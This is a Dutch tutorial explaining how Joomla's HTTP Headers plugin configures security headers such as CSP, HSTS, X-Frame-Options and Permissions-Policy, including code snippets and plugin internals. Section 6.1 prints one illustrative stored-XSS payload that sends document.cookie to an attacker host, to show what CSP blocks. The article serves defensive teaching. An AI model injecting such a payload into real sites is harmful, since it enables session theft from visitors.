
HTTP Headers in Joomla
Elke moderne website communiceert met de browser via een stil, onzichtbaar kanaal dat HTTP-headers heet. De meeste bezoekers zien ze nooit, maar de browser leest ze zorgvuldig en past zijn gedrag aan op basis van wat hij vindt.
Een goed geconfigureerde set headers kan complete aanvalstypen blokkeren, zoals clickjacking, cross-site scripting, SSL-stripping en meer, zonder één regel websitecode te wijzigen.
Sinds Joomla 4 wordt het CMS geleverd met een ingebouwde plugin System - HTTP Headers. Hiermee kunnen beheerders moderne security headers instellen via een eenvoudig formulier in de backend, zonder .htaccess of webserverconfiguratie te hoeven aanpassen.
Hoe de Joomla HTTP Headers-plug-in jouw website beschermt
Dit artikel legt uit hoe HTTP-headers werken, welke beveiligingsproblemen ze oplossen, wat de Joomla-plugin wel en niet kan, en hoe je die in de praktijk gebruikt. Het doel is om je Joomla-website een van de veiligere plekken op het open web te maken.
1. De basis
1.1 Wat is een HTTP-header?
Elke keer dat een browser een pagina opvraagt bij een webserver, gaan er twee korte stukjes metadata heen en weer:
- de request headers die de browser verstuurt
- de response headers die de server terugstuurt
Headers zijn eenvoudige key-valueparen die boven de daadwerkelijke HTML staan. De gebruiker ziet ze nooit, maar de browser gebruikt ze om te bepalen hoe de pagina moet worden behandeld.
1.2 Een eenvoudig voorbeeld
Wanneer je een pagina opent, ziet de response van de server er ongeveer zo uit:
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Server: Apache
De eerste regel is de status. De regels daaronder zijn response headers. De meeste beveiligingsmechanismen op het moderne web zitten precies in deze regels.
1.3 De headerfamilies
Niet elke header gaat over beveiliging. HTTP-headers vallen grofweg in zes categorieën:
| Categorie | Voorbeelden | Doel |
|---|---|---|
| HTTP-status | 200 OK, 404 Not Found |
Resultaat van de request |
| Algemeen | Date, Cache-Control |
Metadata voor beide kanten |
| Request | User-Agent, Cookie |
Wat de browser verstuurt |
| Response | Server, Content-Type |
Wat de server terugstuurt |
| Entity | Content-Encoding, Last-Modified |
Informatie over de body |
| Security | Content-Security-Policy, Strict-Transport-Security |
De focus van dit artikel |
Dit artikel focust op de laatste rij: security headers.
2. Waarom HTTP-headers belangrijk zijn voor beveiliging
2.1 De browser is de laatste verdedigingslinie
Zelfs een perfect geprogrammeerde website kan via de browser worden aangevallen. Enkele veelvoorkomende voorbeelden:
- Een gestolen cookie die wordt gebruikt om een sessie over te nemen.
- Een iframe dat je site binnen een nepwebsite toont.
- Een geïnjecteerd script dat formuliergegevens steelt.
- Een man-in-the-middle-aanvaller die HTTPS terugbrengt naar HTTP.
2.2 Wat security headers doen
Response headers laten de server dingen tegen de browser zeggen zoals:
- "Laad mij nooit meer via gewone HTTP."
- "Sta niet toe dat andere sites mij embedden."
- "Voer alleen scripts uit vanaf deze vertrouwde bronnen."
- "Lek de verwijzende URL niet naar derden."
Een verkeerd geconfigureerde header is een gratis kwetsbaarheid. Een goed geconfigureerde header is gratis defence-in-depth. Dat is de eenvoudige belofte van dit onderwerp.
3. Waar kun je HTTP-headers instellen?
Er zijn vijf plekken in een typische Joomla-stack waar een response header kan worden toegevoegd. Ze bereiken allemaal de browser, maar de juiste plek kiezen is belangrijk voor duidelijkheid en onderhoud.
3.1 Webserverconfiguratie, Apache of NGINX
add_header X-Frame-Options "SAMEORIGIN" always;
3.2 Het .htaccess-bestand
Header set X-Frame-Options "SAMEORIGIN"
3.3 PHP-code
header('X-Frame-Options: SAMEORIGIN');
3.4 HTML-metatag, alleen CSP
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' https://example.com">
Belangrijk: de meeste security headers kunnen niet vanuit een <meta>-tag worden ingesteld. Alleen Content-Security-Policy kan dat. Voor al het andere heb je serverconfiguratie, PHP of de Joomla-plugin nodig.
3.5 De Joomla HTTP Headers-plugin
De plugin is een GUI in de Joomla-administrator. Geen bestanden bewerken, geen servertoegang nodig. Dit maakt Joomla onderscheidend ten opzichte van veel andere CMS-platformen.
4. Maak kennis met de Joomla HTTP Headers-plugin
4.1 Wat het is
De plugin is een System plugin die sinds versie 4.0 standaard in Joomla core zit. De belangrijkste details:
- Naam:
plg_system_httpheaders - Locatie:
plugins/system/httpheaders - Auteur: the Joomla! Project
- Standaard ingeschakeld sinds Joomla 4.0
4.2 Hoe het werkt
De plugin haakt in op het event onAfterInitialise en stelt de geconfigureerde response headers in voordat Joomla output verstuurt. Je beheert alles via:
System → Manage → Plugins → System - HTTP Headers
4.3 De drie configuratietabs
Het pluginformulier is georganiseerd in drie tabs:
- Basic, de dagelijkse headers die de meeste sites nodig hebben.
- Strict-Transport-Security (HSTS), HTTPS afdwingen.
- Content-Security-Policy (CSP), het zware geschut.
4.4 Headers die de plugin kan instellen
X-Frame-OptionsReferrer-PolicyCross-Origin-Opener-PolicyStrict-Transport-SecurityContent-Security-PolicyContent-Security-Policy-Report-OnlyPermissions-PolicyFeature-PolicyExpect-CTReport-ToNEL
4.5 Headers die de plugin NIET instelt
De plugin is uitstekend, maar niet compleet. Deze headers vereisen nog steeds serverconfiguratie of een andere Joomla-instelling:
X-Content-Type-Options, MIME-sniffingbescherming, zie sectie 5.4.Access-Control-Allow-Origin, CORS, afgehandeld in Global Configuration, zie sectie 5.6.Cache-Control- Cookieflags zoals
Secure,HttpOnlyenSameSite.
Weten wat de plugin niet afdekt is net zo belangrijk als weten wat hij wel doet.
5. De security headers, één voor één
Elke security header lost een specifiek probleem op. De voorbeelden hieronder tonen eerst de aanval en daarna de header die die aanval blokkeert.
5.1 X-Frame-Options, clickjacking
De aanval: Een aanvaller laadt je site in een iframe op evil.example.com en tekent er een onzichtbare knoplaag bovenop. De bezoeker denkt op jouw "Like"-knop te klikken, maar klikt in werkelijkheid op de knop "Transfer money" van de aanvaller op jouw site. Dit heet clickjacking of UI redressing.
De oplossing: Vertel de browser dat andere sites jou niet mogen embedden.
X-Frame-Options: SAMEORIGIN
Mogelijke waarden:
DENY, nooit embedded.SAMEORIGIN, alleen je eigen pagina’s mogen je embedden, de Joomla-standaard.
5.2 Referrer-Policy, informatielek
De aanval: Een bezoeker op https://your-site/account/order/12345 klikt op een link naar een partnersite. De browser vertelt de partnersite: "deze bezoeker kwam van /account/order/12345". De URL zelf kan order-ID’s, zoektermen of tokens lekken.
De oplossing: Vertel de browser hoeveel referrer-informatie hij mag delen.
Referrer-Policy: strict-origin-when-cross-origin
Veelvoorkomende waarden:
no-referrer, deel niets.same-origin, deel de volledige URL binnen de site, niets met buitenstaanders.strict-origin, deel alleenhttps://your-site/zonder pad.strict-origin-when-cross-origin, volledige URL intern, alleen origin extern, Joomla-standaard.no-referrer-when-downgrade, deel tenzij je van HTTPS naar HTTP gaat.
De standaard is al privacyvriendelijk. Maak hem alleen ruimer wanneer een analyticsprovider duidelijk meer nodig heeft.
5.3 Cross-Origin-Opener-Policy / COOP, tab-isolatie
De aanval: Een bezoeker opent je site in tab 1 en evil.example.com in tab 2. De kwaadaardige site roept window.opener aan en probeert tab 1 te lezen of te manipuleren. Side-channelaanvallen zoals Spectre kunnen data tussen tabs lekken.
De oplossing: Isoleer je tab van elke cross-origin opener.
Cross-Origin-Opener-Policy: same-origin
Waarden:
same-origin, volledige isolatie, Joomla-standaard.same-origin-allow-popups, isoleren, maar pop-ups die je zelf opent normaal laten werken.unsafe-none, geen isolatie.
COOP is zo’n header waar bijna niemand over praat, terwijl hij standaard in Joomla aan staat en stilletjes een hele klasse cross-tabaanvallen uitschakelt.
5.4 X-Content-Type-Options, MIME-sniffing
De aanval: Een bezoeker uploadt avatar.png, maar het bestand is eigenlijk JavaScript met een neppe .png-extensie. Een andere bezoeker opent een pagina die linkt naar /avatar.png. De browser snuffelt aan de inhoud, besluit dat het op JavaScript lijkt en voert het uit. De aanvaller heeft nu stored XSS.
De oplossing: Vertel de browser dat hij de Content-Type-header moet vertrouwen en nooit mag raden.
X-Content-Type-Options: nosniff
Er is maar één geldige waarde: nosniff.
De Joomla-plugin stelt deze header niet in. Je moet hem zelf instellen in .htaccess:
Header always set X-Content-Type-Options "nosniff"
Of in NGINX:
add_header X-Content-Type-Options "nosniff" always;
Dit is de eenvoudigste en goedkoopste security header. Vergeet hem niet.
5.5 Permissions-Policy, browserfuncties
De aanval: Je pagina embedt een iframe van een derde partij. Het iframe toont een prompt "allow camera?". De bezoeker denkt dat de prompt van jou komt en klikt op Allow. De derde partij heeft nu cameratoegang op jouw domein.
De oplossing: Declareer welke browserfuncties zijn toegestaan en welke iframes ze mogen gebruiken.
Permissions-Policy:
camera=(),
microphone=(),
geolocation=(self),
payment=(self "https://checkout.example.com"),
usb=(),
accelerometer=()
Veelvoorkomende functies zijn camera, microphone, geolocation, payment, usb, fullscreen, accelerometer, gyroscope, magnetometer en autoplay.
Je kunt deze header toevoegen in de plugin onder Basic → Additional HTTP Headers. Kies Permissions-Policy, plak de waarde en selecteer Site, Administrator of Both.
Tip: Permissions-Policy is de moderne vervanger van de oudere Feature-Policy. Zet alles wat je niet gebruikt op lege ().
5.6 Cross-Origin Resource Sharing, CORS
De aanval: Een geregistreerde bezoeker is ingelogd op je site. Zonder uit te loggen bezoekt hij evil.example.com. De kwaadaardige site draait een script dat fetch('https://your-site/api/...') aanroept. De browser verstuurt de call met de sessiecookie van de gebruiker. Zonder CORS-regels antwoordt je API vrolijk.
De oplossing: De browser handhaaft standaard het same-origin policy. Met CORS kun je die zorgvuldig versoepelen, per naam, wanneer je daar een legitieme reden voor hebt, bijvoorbeeld een JavaScript single-page app op een ander domein.
CORS is niet de taak van de HTTP Headers-plugin. Joomla heeft hiervoor een aparte schakelaar:
System → Global Configuration → Server tab → Web Services → Enable CORS = Yes
Dit voegt de response header Access-Control-Allow-Origin toe aan Web Service- en API-endpoints.
Laat CORS UIT, tenzij je echt een cross-origin JavaScript-client hebt. Het inschakelen zonder origins te beperken maakt je API wereldleesbaar.
5.7 Strict-Transport-Security, HSTS
De aanval: Je site wordt normaal via HTTPS aangeboden. Op een dag wordt hij door een misconfiguratie kort via HTTP geserveerd. Een aanvaller op openbare wifi voert een SSL-stripping man-in-the-middle-aanval uit. De bezoeker verstuurt een loginformulier onversleuteld en inloggegevens lekken.
De oplossing: Vertel de browser dat hij je altijd via HTTPS moet laden, zelfs als de gebruiker http:// typt.
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Opties:
max-age=31536000, onthoud dit één jaar, Joomla-standaard.includeSubDomains, pas dit ook toe op elk subdomein.preload, vraag opname aan in de ingebouwde HSTS-lijst van browsers.
De browser bewaart het domein in zijn HSTS-cache. De volgende keer dat iemand http://your-site/ typt, herschrijft de browser de URL intern naar https://your-site/ voordat de request het apparaat verlaat.
Waarschuwing: HSTS blijft plakken. Als je preload inschakelt en je SSL-certificaat kwijtraakt, worden bezoekers maandenlang buitengesloten. Test altijd eerst met een korte max-age, bijvoorbeeld 300 seconden.
6. Content-Security-Policy, CSP, grondig bekeken
6.1 De aanval die CSP stopt
Je site draait een oude third-party comments-extensie met een stored-XSS-bug. Een kwaadwillende bezoeker plaatst een reactie met:
<script>fetch('//attacker.com?c='+document.cookie)</script>
Elke bezoeker die de reactie leest, voert het script van de aanvaller uit. Hun cookies, inclusief sessie, worden gestolen.
6.2 Wat CSP doet
CSP vertelt de browser exact van welke bronnen scripts, styles, fonts, afbeeldingen en iframes mogen worden geladen. Al het andere wordt geblokkeerd.
Content-Security-Policy:
default-src 'self';
script-src 'self' https://stats.example.com/matomo.js;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://i.ytimg.com;
connect-src 'self' https://stats.example.com;
frame-src 'self' https://www.youtube.com;
base-uri 'self';
form-action 'self';
frame-ancestors 'self';
6.3 Veelvoorkomende directives
| Directive | Wat het regelt |
|---|---|
default-src |
Fallback voor alles hieronder. |
script-src, style-src |
Waar JavaScript en CSS vandaan mogen worden geladen. |
img-src, font-src |
Waar afbeeldingen en fonts vandaan mogen worden geladen. |
connect-src |
Endpoints voor fetch, XHR en WebSockets. |
frame-src, frame-ancestors |
Welke iframes je embedt en welke sites jou mogen embedden. |
form-action |
Waar HTML-formulieren naartoe mogen posten. |
upgrade-insecure-requests |
HTTP automatisch upgraden naar HTTPS op de pagina. |
6.4 Enforced versus Report-Only mode
CSP draait in twee modi:
Content-Security-Policy, de browser blokkeert overtredingen.Content-Security-Policy-Report-Only, de browser logt overtredingen alleen.
De Joomla-plugin gebruikt standaard Report-Only, en met goede reden. Een strikte CSP op dag één breekt templates, Google Fonts, Maps, YouTube-embeds en waarschijnlijk de knop van je favoriete editor.
6.5 Aanbevolen workflow
- Schakel CSP in Report-Only mode in.
- Browse door je site en bekijk de browserconsole.
- Voeg legitieme bronnen één voor één toe.
- Schakel pas over naar enforced mode wanneer de reportlog stil is.
Tip: de Chrome-extensie "Content Security Policy (CSP) Generator" kan automatisch een startbeleid bouwen.
6.6 Nonces, hashes en strict-dynamic
Veel Joomla-templates en extensies geven kleine inline <script>-blokken uit. Een strikte CSP blokkeert die standaard. Er zijn drie manieren om ze veilig toe te staan.
Optie A, nonces. De plugin genereert een willekeurige token per request, en de browser voert alleen inline scripts uit die dezelfde token als nonce-attribuut hebben.
script-src 'nonce-AbC123...' 'self';
<script nonce="AbC123...">
// trusted inline script
</script>
Schakel dit in met Nonce Enabled in de plugin.
Optie B, hashes. De plugin berekent een SHA-256-hash van elk inline script of elke inline style en plaatst de hash in de header.
script-src 'sha256-AbC123...' 'self';
Toggles: Script Hashes Enabled en Style Hashes Enabled. De placeholders {script-hashes} en {style-hashes} worden tijdens runtime vervangen.
Optie C, strict-dynamic. Vertrouw scripts die worden geladen door een al vertrouwd script. Modern en flexibel, maar genadeloos op legacy-sites.
script-src 'strict-dynamic' 'nonce-AbC123...';
Nonces en hashes zijn het juiste antwoord voor een Joomla-site met veel extensies van derden.
7. Client targeting: Site versus Administrator
7.1 Een unieke functie van de Joomla-plugin
Elke header kan worden ingesteld voor een van drie targets:
- De front-end, Site.
- De back-end, Administrator.
- Beide.
7.2 Waarom dit belangrijk is
Meestal wil je een striktere CSP in de administrator, waar geen user-generated content is, en een lossere CSP op de front-end, waar redacteuren YouTube, Twitter, Matomo en andere embeds plakken.
In de plugin ziet de check er zo uit, vereenvoudigd:
if (!$this->getApplication()->isClient($cspValue->client)
&& $cspValue->client != 'both') {
continue;
}
Een praktisch voorbeeld: stel frame-src 'none' alleen in voor Administrator, terwijl YouTube-embeds beschikbaar blijven op de front-end.
8. Reporting: NEL en Report-To
8.1 Wat ze doen
Moderne browsers kunnen naar huis bellen wanneer er iets misgaat:
- NEL (Network Error Logging), rapporteert mislukte requests, DNS-fouten en TLS-handshakefouten.
- Report-To, declareert endpoints waar de browser NEL- en CSP-violation reports naartoe stuurt.
8.2 Voorbeeld
Report-To: {"group":"default","max_age":10886400,
"endpoints":[{"url":"https://reports.example.com/r"}]}
NEL: {"report_to":"default","max_age":10886400,"include_subdomains":true}
CSP zonder reporting is roepen in de leegte. Er bestaan gratis reporting backends, bijvoorbeeld report-uri.com.
9. Onder de motorkap, developer view
9.1 Event-driven architecture
De plugin implementeert SubscriberInterface en abonneert zich op twee events:
public static function getSubscribedEvents(): array
{
return [
'onAfterInitialise' => 'setHttpHeaders',
'onAfterRender' => 'applyHashesToCspRule',
];
}
9.2 De lifecycle
- Construct, als nonces zijn ingeschakeld, genereer 64 random bytes, encodeer ze met base64 en sla ze op als
csp_nonceop de application. - onAfterInitialise, bouw de headerlijst op uit pluginparameters en roep
$app->setHeader()aan voor elke header. - onAfterRender, loop door de gerenderde head data, hash elk inline script en elke inline style, en vervang daarna de placeholders
{script-hashes}en{style-hashes}in de CSP-header.
Er zijn twee events nodig omdat CSP-hashes pas kunnen worden berekend nadat Joomla de pagina heeft gerenderd. Al het andere kan vroeg worden ingesteld.
9.3 De sourcecode-layout
plugins/system/httpheaders/
├── httpheaders.xml (manifest + form fields)
├── postinstall/
│ └── introduction.php (post-install message)
├── services/
│ └── provider.php (DI service registration)
└── src/
└── Extension/
└── Httpheaders.php (the plugin class)
9.4 De ondersteunde header allow-list
De plugin houdt een hard-coded lijst bij van headers die hij mag instellen:
private $supportedHttpHeaders = [
'strict-transport-security',
'content-security-policy',
'content-security-policy-report-only',
'x-frame-options',
'referrer-policy',
'expect-ct',
'feature-policy',
'cross-origin-opener-policy',
'report-to',
'permissions-policy',
'nel',
];
Een administrator kan niet per ongeluk een willekeurige of verkeerd gevormde header injecteren. Het formulier fungeert als vangnet. Let op wat in deze lijst ontbreekt: x-content-type-options. Precies daarom is sectie 5.4 belangrijk.
10. HTTP/2, HTTP/3 en headers
Gelden headers nog steeds bij nieuwere HTTP-versies? Ja. HTTP/2 en HTTP/3 behouden dezelfde headersemantiek. Ze veranderen alleen hoe headers worden getransporteerd.
| Aspect | HTTP/1.1 | HTTP/2 | HTTP/3 |
|---|---|---|---|
| Headerformaat | Platte tekst | Binair, HPACK-gecomprimeerd | Binair, QPACK-gecomprimeerd |
| Transport | TCP | TCP, multiplexed | QUIC over UDP |
| Headerconcept | Identiek | Identiek | Identiek |
Alles wat je in de Joomla-plugin configureert, werkt op dezelfde manier in HTTP/1.1, HTTP/2 en HTTP/3.
11. Veelgemaakte fouten en valkuilen
11.1 "Mijn site ging stuk nadat ik CSP inschakelde"
Dit gebeurt vrijwel zeker op een typische Joomla-site. Schakel over naar Report-Only en voeg bronnen één voor één toe totdat de console stil is.
11.2 "Google Fonts, Analytics of Maps werken niet meer"
Voeg de juiste domeinen toe aan je CSP:
style-src 'self' https://fonts.googleapis.com;
font-src 'self' https://fonts.gstatic.com;
script-src 'self' https://www.googletagmanager.com;
11.3 "HSTS heeft mijn staging-site kapotgemaakt"
HSTS wordt per hostname ingesteld. Gebruik een apart subdomein voor staging, of een lage max-age, bijvoorbeeld 300, tijdens het testen.
11.4 "De plugin heeft de header ingesteld, maar de browser negeert hem"
Controleer of je reverse proxy of .htaccess dezelfde header instelt. Degene die als laatste draait wint, en proxies winnen meestal. Verwijder de dubbele header op serverniveau.
11.5 "Ik zie de header twee keer"
Een CDN zoals Cloudflare of een load balancer kan een eigen kopie toevoegen. Inspecteer met curl -I vanaf zowel buiten als binnen het netwerk om de bron te vinden.
In de praktijk komt ongeveer 80% van security-headerincidenten door dubbele of tegenstrijdige headers, niet door de plugin zelf.
12. Je headers controleren
12.1 In de browser
- Open de pagina in Google Chrome.
- Klik met rechts en kies Inspect.
- Open het tabblad Network.
- Klik op de HTML document request.
- Lees het paneel Response Headers.
12.2 Op de command line
curl -I https://your-site.example
12.3 Online scanners
- securityheaders.com, snelle score van A tot F.
- observatory.mozilla.org, diepere score met aanbevelingen.
- csp-evaluator.withgoogle.com, vindt zwakke CSP-directives.
- hstspreload.org, aanmelden voor de HSTS preload list.
12.4 Lokale tools
- OWASP ZAP, volledige security scan, inclusief headerchecks.
- Chrome-extensie Content Security Policy (CSP) Generator.
13. Een aanbevolen startconfiguratie
13.1 Conservatief profiel, lage kans op breuk
Een veilige set headers om mee te starten op de meeste Joomla-sites:
| Header | Waarde | Instellen in |
|---|---|---|
| X-Frame-Options | SAMEORIGIN |
Plugin, beide |
| Referrer-Policy | strict-origin-when-cross-origin |
Plugin, beide |
| Cross-Origin-Opener-Policy | same-origin |
Plugin, beide |
| Strict-Transport-Security | max-age=31536000; includeSubDomains |
Plugin, beide, nadat HTTPS stabiel is |
| Content-Security-Policy | start in Report-Only | Plugin, site |
| Permissions-Policy | camera=(), microphone=(), geolocation=() |
Plugin, beide |
| X-Content-Type-Options | nosniff |
.htaccess, plugin kan dit niet |
| CORS | UIT tenzij nodig | Global Configuration → Web Services |
13.2 Agressief profiel, na tuning
Wanneer je een week hebt besteed aan het tunen van je CSP, kun je doorgaan naar:
- CSP enforced met nonces ingeschakeld.
frame-ancestors 'self'in CSP.upgrade-insecure-requestsin CSP.- HSTS preload ingediend bij
hstspreload.org.
Lever het conservatieve profiel op dag één aan klanten. Beloof het agressieve profiel pas na een CSP-tuningweek.
14. Best practices en quick reference
Als je maar een paar dingen uit dit artikel onthoudt, onthoud dan deze:
- Schakel de HTTP Headers-plugin in. Hij zit al in Joomla core.
- Start CSP in Report-Only mode en tune hem een week lang.
- Voeg
X-Content-Type-Options: nosnifftoe in.htaccess. De plugin kan dit niet voor je doen. - Houd CORS UIT, tenzij je het echt nodig hebt.
- Test HSTS met een lage
max-agevoordat je naar één jaar gaat. - Gebruik site-only versus admin-only targeting om redacteuren tevreden te houden.
- Controleer met
curl -Iensecurityheaders.com.
Cheatsheet
INSCHAKELEN Extensions → Plugins → System - HTTP Headers
TARGETS Site / Administrator / Both per header
CLICKJACK X-Frame-Options: SAMEORIGIN
REFERRER Referrer-Policy: strict-origin-when-cross-origin
TABVEILIGHEID Cross-Origin-Opener-Policy: same-origin
HTTPS LOCK Strict-Transport-Security: max-age=31536000
FUNCTIES Permissions-Policy: camera=(), microphone=()
XSS-BLOKKER Content-Security-Policy (start Report-Only)
INLINE JS Nonce Enabled of Script Hashes Enabled
MIME-GUARD X-Content-Type-Options: nosniff (in .htaccess!)
CORS Global Configuration → Web Services
CONTROLEREN curl -I + securityheaders.com
15. Samenvatting
HTTP-headers zijn het stille gesprek tussen server en browser. Ze beïnvloeden bijna elke beveiligingscontrole op het moderne web:
- Clickjacking wordt geblokkeerd door X-Frame-Options.
- URL-lekkage wordt verminderd door Referrer-Policy.
- Cross-tabaanvallen worden gestopt door COOP.
- MIME-sniffing XSS wordt voorkomen door X-Content-Type-Options.
- Kwaadaardige iframe-API’s worden uitgeschakeld door Permissions-Policy.
- Cross-origin API-misbruik wordt beheerst door CORS.
- SSL-stripping wordt gestopt door HSTS.
- Stored en reflected XSS worden ingeperkt door CSP.
De meeste andere CMS-platformen hebben een extra extensie, een betaalde dienst of handmatige .htaccess-aanpassingen nodig om moderne security headers te leveren. Joomla 4, 5 en 6 geven je een UI, veilige defaults, per-client targeting, automatische CSP-nonces en hashes, en dat alles zonder kosten.
Je hoeft geen security engineer te zijn. Schakel de plugin in, voeg nosniff toe in .htaccess, zet CSP op Report-Only, bekijk de log een week lang en geef jezelf een score op securityheaders.com. Joomla beschermt je out of the box. Tune de HTTP Headers-plugin, laat CORS uit tenzij nodig, en je site zit in de top 5% van het open web qua security posture.
Security is geen feature. Het is een gewoonte. De plugin maakt die gewoonte makkelijk.


Joomla en Linux specialist voor snelle, veilige en schaalbare websites.


